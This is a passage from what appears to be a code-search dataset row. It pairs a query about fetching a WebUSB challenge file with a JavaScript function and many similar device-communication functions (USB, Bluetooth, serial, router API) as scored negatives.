//$('#btnDeviceModelIdCopy').prop('disabled', true);\\n return true;\\n },\\n error: function (jqXHR) {\\n // clear all fields\\n IoTHubModalClear();\\n alert(\\\" Status: \\\" + jqXHR.status + \\\" \\\" + jqXHR.responseText);\\n return false;\\n }\\n });\\n $('#IoTHub_Busy_Indicator').hide();\\n\\n}\",\n \"function callAPI(req,res,handleResponse){\\n var host = 'www.blueworkslive.com';\\n var username = 'xxxx';\\n var password = 'yyyy';\\n var path = '/api/Auth';\\n var headers = {\\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\\n };\\n var options = {\\n host: host,\\n path: path,\\n method: 'GET',\\n headers: headers\\n };\\n var bwlResData = {};\\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\\n var bwlRequest = https.request(options, function(bwlResponse) {\\n\\tconsole.log(\\\"BwlApiCall: Response status=\\\"+bwlResponse.statusCode);\\n\\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\\n\\tbwlResData.headers = bwlResponse.headers;\\n\\tvar bufferData = [];\\n\\tbwlResponse.on('data', function(data) {\\n\\t bufferData.push(data);\\n console.info('BwlApiCall: Response data received');\\n\\t});\\n\\tbwlResponse.on('end', function() {\\n console.info('BwlApiCall: completed, calling callback');\\n\\t bwlResData.data = Buffer.concat(bufferData);\\n\\t handleResponse(req, res, bwlResData);\\n });\\n });\\n/* if ((reqData.method == \\\"post\\\" || reqData.method == \\\"put\\\") && reqData.senddata) {\\n console.log(reqData.method+' sending data: '+reqData.senddata);\\n bwlRequest.write(reqData.senddata);\\n } */\\n bwlRequest.end();\\n bwlRequest.on('error', function(e){\\n console.error('BwlApiCall: REQUEST-ERROR '+e);\\n });\\n}\",\n \"function sendConvertRAIDType(cardchar) {\\n\\t//collect data from web UI\\n\\tvar NewRAIDType = document.getElementById(\\\"RAIDType\\\"+cardchar).selectedIndex - 1;\\n\\tvar GUID = $(\\\"#GUID\\\"+cardchar).html();\\n\\n\\t//store the command which is in progress\\n\\t$(\\\"#cardProgCmd\\\"+cardchar).html(JS_CONVERT_RAID_TYPE_REQ);\\n\\n\\t//console.log(\\\"Convert GUID = \\\"+GUID);\\n\\n\\t//disable \\\"Convert\\\" button\\n\\t$(\\\"#confirmConvertRAIDType\\\"+cardchar).prop(\\\"disabled\\\", true);\\n\\n\\t//send command\\n\\tConvertRAIDType(GUID, NewRAIDType);\\n}\",\n \"async function blxSendBinblock (data, fname, syncflag, mem_addr) {\\n let txlen_total = data.length\\n let tx_pos = 0\\n const time0 = Date.now() - 1000\\n let tw_old = time0\\n let tw_new // Working Time fuer Fortschritt\\n let sblk_len = (max_ble_blocklen - 2) & 0xFFFC // Initial MAX Size Block, but Multi of 4\\n\\n if (data.length > 1000) { // Mehr als 1k Daten UND File: -> FAST\\n\\n if(fname === undefined){\\n // Might bee too fast for Download to CPU Memory, set to slow with .cf 15 or greater!!!\\n if(con_memfast_speed < 15)\\n terminalPrint(\\\"*** WARNING: Memory Connection Speed: \\\" + con_memfast_speed ) \\n const os = con_fast_speed // temporaer mit MEMORY Speed\\n con_fast_speed = con_memfast_speed\\n await blxConnectionFast()\\n con_fast_speed = os\\n }else{\\n await blxConnectionFast()\\n } \\n if (blxErrMsg) return\\n // console.log(\\\"Fast OK\\\");\\n }\\n if(fname!== undefined) await blxDeviceCmd('P' + (syncflag ? '!' : '') + ':' + fname, 5000) // P wie PUT\\n else {\\n {\\n let wadr = mem_addr\\n let wsize = txlen_total\\n const sector_size = 4096 // Fix fuer nrF52\\n // Sektoren in einzeln Loeschen, da langsam\\n while(wsize>0){\\n await blxDeviceCmd('K:' + wadr + ' ' + 1 , 5000) \\n if (blxErrMsg) return\\n wadr+=sector_size\\n wsize-=sector_size\\n }\\n }\\n await blxDeviceCmd('I:' + mem_addr, 5000) // I wie Internal\\n }\\n if (blxErrMsg) return\\n\\n try {\\n for (;;) {\\n let blen = txlen_total // Blocklen\\n if (blen > sblk_len ) blen = sblk_len\\n const bdata = new Uint8Array(blen + 2)\\n bdata[0] = blen\\n bdata[1] = BB_BLE_BINBLK_IN // Binary Data\\n // Aufgabe: data[tx_pos] an bdata[2] kopieren\\n const datablock = data.subarray(tx_pos, tx_pos + blen)\\n bdata.set(datablock, 2) // Copies datablock into bdata\\n\\n await NUS_data_chara_write.writeValue(bdata.buffer)\\n\\n // console.log(bdata);\\n txlen_total -= blen\\n tx_pos += blen\\n if (!txlen_total) {\\n const dtime = Date.now() - time0\\n terminalPrint('Transfer OK (' + dtime / 1000 + ' sec, ' + ((data.length / dtime * 1000).toFixed(0)) + ' Bytes/sec)')\\n break\\n }\\n tw_new = Date.now()\\n if (tw_new - tw_old > 1000) { // Alle Sekunde Fortschritt\\n tw_old = tw_new\\n terminalPrint(((tx_pos * 100) / data.length).toFixed(0) + '% / ' + tx_pos + ' Bytes')\\n }\\n }\\n } catch (error) {\\n if (full_connected_flag === false) blxErrMsg = 'ERROR: Connection lost'\\n else blxErrMsg = 'ERROR: Transfer ' + error\\n return\\n }\\n\\n await blxDeviceCmd('L', 5000) // Close\\n\\n if (blxErrMsg) return\\n if (data.length > 1000) { // Mehr als 1k Daten: -> Wieder SLOW\\n await blxConnectionSlow()\\n }\\n }\",\n \"function processData(buffer) {\\n console.log(\\\"Status: \\\"+status);\\n console.log('Read message: \\\"' + buffer + '\\\"');\\n if (buffer.toString() == 'Ok!' && status == 0 && type !=1) {\\n //Emepzamos el envio\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += data[hexInd];\\n pxInd += 4;\\n hexInd++;\\n }\\n\\n if (pxInd >= w * h) status++; \\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"Buffer to send1: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 0 && type == 1) {\\n //Emepzamos el envio pantalla a color\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += data[hexInd];\\n pxInd += 2; //cada pixel son 2 bits, por eso para cada hex tenemos avanzar 2 pixeles.\\n hexInd++;\\n }\\n if (pxInd >= w * h) status++;\\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3);\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"Buffer to send info: dSizeCalc\\\"+dSizeCalc+\\\" buffIndCalc: \\\"+buffIndCalc+\\\" pxInd: \\\"+pxInd);\\n console.log(\\\"Buffer to send2: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 1 && type != 1) {\\n //Hacemos el Show\\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: S\\\");\\n });\\n status = 4;\\n console.log(\\\"Desconectamos....\\\");\\n clearTimeout(timeout);\\n screenDisconect(false);\\n return response.send({\\n message: 'Success at updating the device: ' + macaddress,\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 1 && type == 1) {\\n //Hacemos el Next\\n\\n pxInd =0;\\n hexInd = 0;\\n\\n epdCharacteristic.write(Buffer.from('N', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: N\\\"); \\n });\\n status = 2;\\n } else if (buffer.toString() == 'Ok!' && status == 2 && type == 1) {\\n //Hacemos el Load del Next\\n //let dataNext = req.body.dataNext;\\n //Emepzamos el envio\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += dataNext[hexInd];\\n pxInd += 4; //en caso de rojo, cada pixel es un bit.\\n hexInd++;\\n }\\n if (pxInd >= w * h) status = 3;\\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"N_Buffer to send3: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 3 && type == 1) {\\n console.log(\\\"Finalizamos...\\\");\\n //Hacemos el Show\\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: S\\\");\\n });\\n status = 4;\\n console.log(\\\"Desconectamos....\\\");\\n clearTimeout(timeout);\\n screenDisconect(false);\\n return response.send({\\n message: 'Success at updating the device: ' + macaddress,\\n });\\n }\\n trytoread();\\n }\",\n \"function setDeviceEnabledBand() {\\n\\tconsole.log('info: setDeviceEnabledBand() is called.');\\n\\n\\t// Get csrf_token\\n\\tvar api = '/';\\n\\tvar url = 'http://' + document.apiform.address.value + api;\\n\\tupdateMessage(url, '', 'Connecting...', '');\\n\\n\\tvar xhr = new XMLHttpRequest();\\n\\txhr.open('GET', url, false);\\n\\txhr.withCredentials = true;\\n\\txhr.onerror = function(e) {\\n\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\\n\\t};\\n\\txhr.send(null);\\n\\n\\tif (xhr.status === 200) {\\n\\t\\tvar str = xhr.responseText;\\n\\t\\tvar csrf_token = str.match(//i);\\n\\t\\tcsrf_token = csrf_token[1];\\n\\t\\tif (csrf_token != null) {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Success to get a token: ' + csrf_token, '');\\n\\t\\t} else {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Fail to get the token.', '');\\n\\t\\t\\treturn -1;\\n\\t\\t}\\n\\n\\t\\t// Login\\n\\t\\tapi = '/api/user/login';\\n\\t\\turl = 'http://' + document.apiform.address.value + api;\\n\\t\\tupdateMessage(url, '', 'Connecting...', '');\\n\\n\\t\\txhr.open('POST', url, false);\\n\\t\\txhr.onerror = function(e) {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\\n\\t\\t};\\n\\n\\t\\t// Generate credential\\n\\t\\tvar username = 'admin';\\n\\t\\tvar password = document.apiform.password.value;\\n\\t\\tvar password_hash = encryptSHA256(username + encryptSHA256(password) + csrf_token);\\n\\n\\t\\tvar login_params = '';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tlogin_params += '' + username + '\\\\r';\\n\\t\\tlogin_params += '' + password_hash + '\\\\r';\\n\\t\\tlogin_params += '4\\\\r';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tconsole.log(login_params);\\n\\n\\t\\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\\n\\t\\txhr.setRequestHeader('__RequestVerificationToken', csrf_token);\\n\\t\\txhr.send(login_params);\\n\\n\\t\\t// Login Result\\n\\t\\tif (xhr.status === 200) {\\n\\t\\t\\t\\n\\t\\t\\tvar error_code = xhr.responseText.match(/([0-9]+)<\\\\/code>/i);\\n\\t\\t\\tif (error_code == null) {\\n\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Login Successful!', xhr.responseText);\\n\\n\\t\\t\\t\\t// Set LTE Bands\\n\\t\\t\\t\\tapi = '/api/net/net-mode';\\n\\t\\t\\t\\turl = 'http://' + document.apiform.address.value + api;\\n\\t\\t\\t\\tupdateMessage(url, '', 'Connecting...', '')\\n\\t\\t\\t\\ttoken = xhr.getResponseHeader('__RequestVerificationTokenOne');\\n\\t\\t\\t\\txhr.open('POST', url, true);\\n\\t\\t\\t\\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\\n\\t\\t\\t\\txhr.setRequestHeader('__RequestVerificationToken', token);\\n\\t\\t\\t\\txhr.onload = function(e) {\\n\\t\\t\\t\\t\\terror_code = xhr.responseText.match(/([0-9]+)<\\\\/code>/i);\\n\\t\\t\\t\\t\\tconsole.log(error_code);\\n\\t\\t\\t\\t\\tif (error_code == null) {\\n\\t\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Change Successful!', xhr.responseText);\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\txhr.onerror = function(e) {\\n\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Check Parameters.', '')\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\txhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=\\\"UTF-8\\\"');\\n\\t\\t\\t\\tconsole.log(document.apiform.reqparams.value);\\n\\t\\t\\t\\txhr.send(document.apiform.reqparams.value);\\n\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t} else {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', xhr.responseText);\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tupdateMessage(url, xhr.statusText, 'Error: Check the address or your browser status (Cross-Origin Resource Sharing).', '')\\n\\t}\\n}\",\n \"async send() {\\n const onComplete = this.props.navigation.state.params.onComplete;\\n try {\\n let done = await this.props.wire.send();\\n\\n if (!done) {\\n return;\\n }\\n\\n if (onComplete) onComplete();\\n this.props.navigation.goBack();\\n } catch (e) {\\n if (!e || e.message !== 'E_CANCELLED') {\\n console.error('Wire/send()', e);\\n\\n Alert.alert(\\n 'There was a problem sending wire',\\n (e && e.message) || 'Unknown internal error',\\n [{ text: 'OK' }],\\n { cancelable: false }\\n );\\n }\\n }\\n }\",\n \"function onOpen() {\\n console.log('Port Open');\\n console.log(`Baud Rate: ${port.options.baudRate}`);\\n const outString = String.fromCharCode(output);\\n console.log(`Sent:\\\\t\\\\t${outString}`);\\n port.write(outString);\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6560741","0.6358267","0.63325894","0.61360186","0.6115113","0.60801035","0.6074475","0.60720617","0.6020907","0.58643204","0.5797482","0.57846606","0.57151884","0.57029116","0.56599176","0.5598955","0.55791366","0.55470836","0.55214137","0.54890126","0.54794246","0.5467407","0.5458962","0.54161745","0.5398611","0.5372667","0.53533864","0.5348324","0.532022","0.5315319","0.5274399","0.52686507","0.52545553","0.52516514","0.5248442","0.5238125","0.52163774","0.521211","0.5209181","0.51974756","0.5196469","0.51837546","0.5177954","0.516178","0.51512545","0.5147174","0.5141254","0.5138159","0.5130048","0.5121737","0.51207095","0.51155424","0.5093415","0.50916004","0.5079893","0.507947","0.5044861","0.50287235","0.50232357","0.5014572","0.5011383","0.50094104","0.50059235","0.49870503","0.49651325","0.49646312","0.4957968","0.49397355","0.49355248","0.4933031","0.49305695","0.49214342","0.49206194","0.49155226","0.4906333","0.49052852","0.49001572","0.4897377","0.48950967","0.48870608","0.48804173","0.4879315","0.4852489","0.48491997","0.4846404","0.48336947","0.48326552","0.48210114","0.48195332","0.48153195","0.4812433","0.48043644","0.4793943","0.47933307","0.4783341","0.47805634","0.47763786","0.47715887","0.47614968","0.47608984","0.47510663"],"string":"[\n \"0.6560741\",\n \"0.6358267\",\n \"0.63325894\",\n \"0.61360186\",\n \"0.6115113\",\n \"0.60801035\",\n \"0.6074475\",\n \"0.60720617\",\n \"0.6020907\",\n \"0.58643204\",\n \"0.5797482\",\n \"0.57846606\",\n \"0.57151884\",\n \"0.57029116\",\n \"0.56599176\",\n \"0.5598955\",\n \"0.55791366\",\n \"0.55470836\",\n \"0.55214137\",\n \"0.54890126\",\n \"0.54794246\",\n \"0.5467407\",\n \"0.5458962\",\n \"0.54161745\",\n \"0.5398611\",\n \"0.5372667\",\n \"0.53533864\",\n \"0.5348324\",\n \"0.532022\",\n \"0.5315319\",\n \"0.5274399\",\n \"0.52686507\",\n \"0.52545553\",\n \"0.52516514\",\n \"0.5248442\",\n \"0.5238125\",\n \"0.52163774\",\n \"0.521211\",\n \"0.5209181\",\n \"0.51974756\",\n \"0.5196469\",\n \"0.51837546\",\n \"0.5177954\",\n \"0.516178\",\n \"0.51512545\",\n \"0.5147174\",\n \"0.5141254\",\n \"0.5138159\",\n \"0.5130048\",\n \"0.5121737\",\n \"0.51207095\",\n \"0.51155424\",\n \"0.5093415\",\n \"0.50916004\",\n \"0.5079893\",\n \"0.507947\",\n \"0.5044861\",\n \"0.50287235\",\n \"0.50232357\",\n \"0.5014572\",\n \"0.5011383\",\n \"0.50094104\",\n \"0.50059235\",\n \"0.49870503\",\n \"0.49651325\",\n \"0.49646312\",\n \"0.4957968\",\n \"0.49397355\",\n \"0.49355248\",\n \"0.4933031\",\n \"0.49305695\",\n \"0.49214342\",\n \"0.49206194\",\n \"0.49155226\",\n \"0.4906333\",\n \"0.49052852\",\n \"0.49001572\",\n \"0.4897377\",\n \"0.48950967\",\n \"0.48870608\",\n \"0.48804173\",\n \"0.4879315\",\n \"0.4852489\",\n \"0.48491997\",\n \"0.4846404\",\n \"0.48336947\",\n \"0.48326552\",\n \"0.48210114\",\n \"0.48195332\",\n \"0.48153195\",\n \"0.4812433\",\n \"0.48043644\",\n \"0.4793943\",\n \"0.47933307\",\n \"0.4783341\",\n \"0.47805634\",\n \"0.47763786\",\n \"0.47715887\",\n \"0.47614968\",\n \"0.47608984\",\n \"0.47510663\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":17,"cells":{"query":{"kind":"string","value":"Call WebUSB API to get challenge.bin from device"},"document":{"kind":"string","value":"function getChallenge () {\n\n //Fake data\n var randomData = [];\n\n\n var bytes = new Uint8Array(4);\n for (var i=4; i--; ) {\n let longRandomNumber = Math.floor(Math.random() * 1000000000);\n bytes[i] = longRandomNumber & (255);\n longRandomNumber = longRandomNumber >> 8\n }\n randomData.push(bytes);\n console.log(randomData);\n var blob = new Blob(randomData);\n blob[\"lastModifiedDate\"] = \"\";\n blob[\"name\"] = \"challenge.bin\";\n var fakeF = blob;\n console.log(fakeF);\n return fakeF;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async function RequestUSBDevice() { \n await navigator.usb.requestDevice({ filters: [{}] });\n}","async getRequestDeviceInfo() {\n const outputReportID = 0x01;\n const subcommand = [0x02];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onDeviceInfo = ({ detail: deviceInfo }) => {\n this.removeEventListener('deviceinfo', onDeviceInfo);\n delete deviceInfo._raw;\n delete deviceInfo._hex;\n resolve(deviceInfo);\n };\n this.addEventListener('deviceinfo', onDeviceInfo);\n });\n }","function readRHUSB() {\n port.write(\"PA\\r\\n\");\n}","function bluetooth(){\n\n if (!navigator.bluetooth) {\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\n }\n const z = document.getElementById('debugger');\n const y = document.getElementById('serial')\n\n if (z.style.display ===\"none\"){\n z.style.display = \"block\";\n }else{\n }\n \n z.innerHTML= z.innerHTML + \"\\n\"+ ('Requesting Bluetooth Devices');\n navigator.bluetooth.requestDevice({\n filters:[{\n name: 'MicroTrynkit',\n }],\n optionalServices: [service]\n })\n .then(device=>{\n z.innerHTML = z.innerHTML + \"\\n\"+ (\"Connected to: \");\n z.innerHTML= z.innerHTML +\"\\n\"+ (\">Name:\" + device.name);\n z.innerHTML= z.innerHTML + \"\\n\"+ (\">id:\" + device.id);\n isConnected = 1;\n bledevice = device;\n return device.gatt.connect();\n })\n .then(server=>{\n bleserver = server;\n return server.getPrimaryService(service);\n })\n .then(service => {\n return service.getCharacteristic(RX_char)\n .then(characteristic => {\n console.log(characteristic);\n RX_characteristic = characteristic;\n return service.getCharacteristic(TX_char);\n })\n })\n .then(characteristic => {\n console.log(characteristic);\n TX_characteristic = characteristic;\n /* add an event listener to the TX characteristic */\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\n console.log(TX_characteristic.readValue());\n })\n .then( value =>{\n /* try to read from the device and print to console */\n // y.innerText = value.getUint8(0);\n // console.log(value.getUint8(0));\n })\n .catch(error=> {\n z.innerHTML= z.innerHTML + \"\\n\"+ (error);\n });\n}","requestUsb() {\n return new Observable(observer => {\n navigator.usb.requestDevice({ filters: [] })\n .then((result) => {\n this.vendorId = result.vendorId;\n this.productId = result.productId;\n return observer.next(result);\n }).catch(error => {\n return observer.error(error);\n });\n });\n }","async function uBitOpenDevice(device, callback) {\n const transport = new DAPjs.WebUSB(device)\n const target = new DAPjs.DAPLink(transport)\n let buffer=\"\" // Buffer of accumulated messages\n const parser = /([^.:]*)\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\n \n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\n buffer += data;\n let firstNewline = buffer.indexOf(\"\\n\")\n while(firstNewline>=0) {\n let messageToNewline = buffer.slice(0,firstNewline)\n let now = new Date() \n // Deal with line\n // If it's a graph/series format, break it into parts\n let parseResult = parser.exec(messageToNewline)\n if(parseResult) {\n let graph = parseResult[1]\n let series = parseResult[2]\n let data = parseResult[3]\n let callbackType = \"graph-event\"\n // If data is numeric, it's a data message and should be sent as numbers\n if(!isNaN(data)) {\n callbackType = \"graph-data\"\n data = parseFloat(data)\n }\n // Build and send the bundle\n let dataBundle = {\n time: now,\n graph: graph, \n series: series, \n data: data\n }\n callback(callbackType, device, dataBundle)\n } else {\n // Not a graph format. Send it as a console bundle\n let dataBundle = {time: now, data: messageToNewline}\n callback(\"console\", device, dataBundle)\n }\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\n firstNewline = buffer.indexOf(\"\\n\") // See if there's more data\n }\n });\n await target.connect();\n await target.setSerialBaudrate(115200)\n //await target.disconnect();\n device.target = target; // Store the target in the device object (needed for write)\n device.callback = callback // Store the callback for the device\n callback(\"connected\", device, null) \n target.startSerialRead()\n return Promise.resolve()\n}","async request() {\n let options = {\n filters: [\n {\n name: \"balenaBLE\"\n }\n ],\n optionalServices: [0xfff0, 0xfff1]\n };\n if (navigator.bluetooth == undefined) {\n alert(\"Sorry, Your device does not support Web BLE!\");\n return;\n }\n this.device = await navigator.bluetooth.requestDevice(options);\n if (!this.device) {\n throw \"No device selected\";\n }\n this.device.addEventListener(\"gattserverdisconnected\", this.onDisconnected);\n }","async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\n\n try {\n var device = deviceInfo.device;\n\n await device.open();\n //await device.reset();\n\n if (device.configuration === null) {\n await device.selectConfiguration(1);\n }\n\n\t\tawait device.claimInterface(0);\n\t\t\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\n abyBlyncUsb30ReportBuffer[7] = 0x22;\n\n var result = await device.controlTransferOut( \n {\n requestType: 'class',\n recipient: 'interface',\n request: 0x09,\n value: 0x0200,\n index: 0x0000\n },\n abyBlyncUsb30ReportBuffer);\n\n await device.close();\n } catch (e) {\n console.log(\"Exception: \" + e);\n }\n}","respondToArduino(command){\n BluetoothSerial.write(command)\n .then((res) => {\n console.log(res, command)\n })\n .catch((err) => console.log(err.message))\n }","function bleConsole(value){\n const y = document.getElementById('serial')\n /* check if the device is connected if true send file*/\n if(isConnected){\n /* need to read the value of the TX_char\n * may need some kind of loop or trigger to watch if new data comes in????\n * not sure what I want to implement for this yet....\n */\n // y.innerText = TX_characteristic.readValue(); TODO does not work\n }else{\n const x = document.getElementById('console');\n x.style.display =\"none\";\n alert(\"MicroTrynkit device not connected. Please pair it first.\");\n }\n\n}","enumerate_devices() {\n const filters = {filters: [\n {vendorId: 0x16D0}\n ]};\n\n if (!this.usb) {\n this.log(\"error: WebUSB not supported\\n\", \"red\");\n return;\n }\n\n this.usb.requestDevice(filters)\n .then(dev => this.connect_device(dev))\n .catch(error => {\n if (String(error) === \"SecurityError: Must be handling a user gesture to show a permission request.\") {\n this.log(\"Please click 'Connect Device' on the left toolbar.\", \"black\");\n } else if (String(error) === \"NotFoundError: No device selected.\") {\n this.log(\"Please select a WebUSB device.\", \"red\");\n } else {\n this.log(String(error));\n this.log(\"error: unable to enumerate USB device list\");\n }\n });\n }","async function findUSBDevice(event) {\n // STEP 1A: Auto-Select first port\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\n // ports = await getPorts()\n //STEP 1A: GetPorts - Automatic at initialization\n // -Enumerate all attached devices\n // -Check for permission based on vendorID & productID\n devices = await navigator.usb.getDevices();\n ports = devices.map((device) => new serial.Port(device)); //return port\n\n if (ports.length == 0) {\n port.statustext_connect =\n 'NO USB DEVICE automatically found on page load';\n console.log(port.statustext_connect);\n } else {\n var statustext = '';\n if (event.type == 'AutoConnect') {\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\n } else if (event.type == 'Reconnect') {\n statustext = 'RECONNECTED USB DEVICE!';\n }\n port = ports[0];\n try {\n await port.connect();\n } catch (error) {\n console.log(error);\n }\n port.statustext_connect = statustext;\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n }\n }\n\n // STEP 1B: User connects to Port\n if (\n event.type == 'pointerup' ||\n event.type == 'touchend' ||\n event.type == 'mouseup'\n ) {\n event.preventDefault(); //prevents additional downstream call of click listener\n try {\n //STEP 1B: RequestPorts - User based\n // -Get device list based on Arduino filter\n // -Look for user activation to select device\n const filters = [\n { vendorId: 0x2341, productId: 0x8036 },\n { vendorId: 0x2341, productId: 0x8037 },\n { vendorId: 0x2341, productId: 0x804d },\n { vendorId: 0x2341, productId: 0x804e },\n { vendorId: 0x2341, productId: 0x804f },\n { vendorId: 0x2341, productId: 0x8050 },\n ];\n\n device = await navigator.usb.requestDevice({ filters: filters });\n port = new serial.Port(device); //return port\n\n await port.connect();\n\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n } catch (error) {\n console.log(error);\n }\n waitforClick.next(1);\n }\n} //FUNCTION findUSBDevice","function connectviaBT() {\r\n\t// initialize bluetooth and setup an event listener\r\n\t//todo: refactor name mWebSocket_InitAsync\r\n\tdocument.getElementById( \"idStatus\").innerHTML=\"Connecting via BT\";\r\n\t//returns data from BT as Uint8Array [1..20]\r\n\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\r\n\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\r\n\t.then(connectGATT) //todo:@FC please explain what is happening here\r\n\t.then(_ => {\r\n\t\tconsole.log('Evaluating signal of interest...')\r\n\t\treturn gattCharacteristic.readValue()\t//receiving data from BT - Uint8Array [1..20]\r\n\t})\r\n\t.catch(error => {\r\n\t\tconsole.log('Waiting to start reading: ' + error)\r\n\t})\r\n}","function getdevice (dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-13';\n webphone_api.plhandler.GetDevice(dev, callback);\n }\n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n 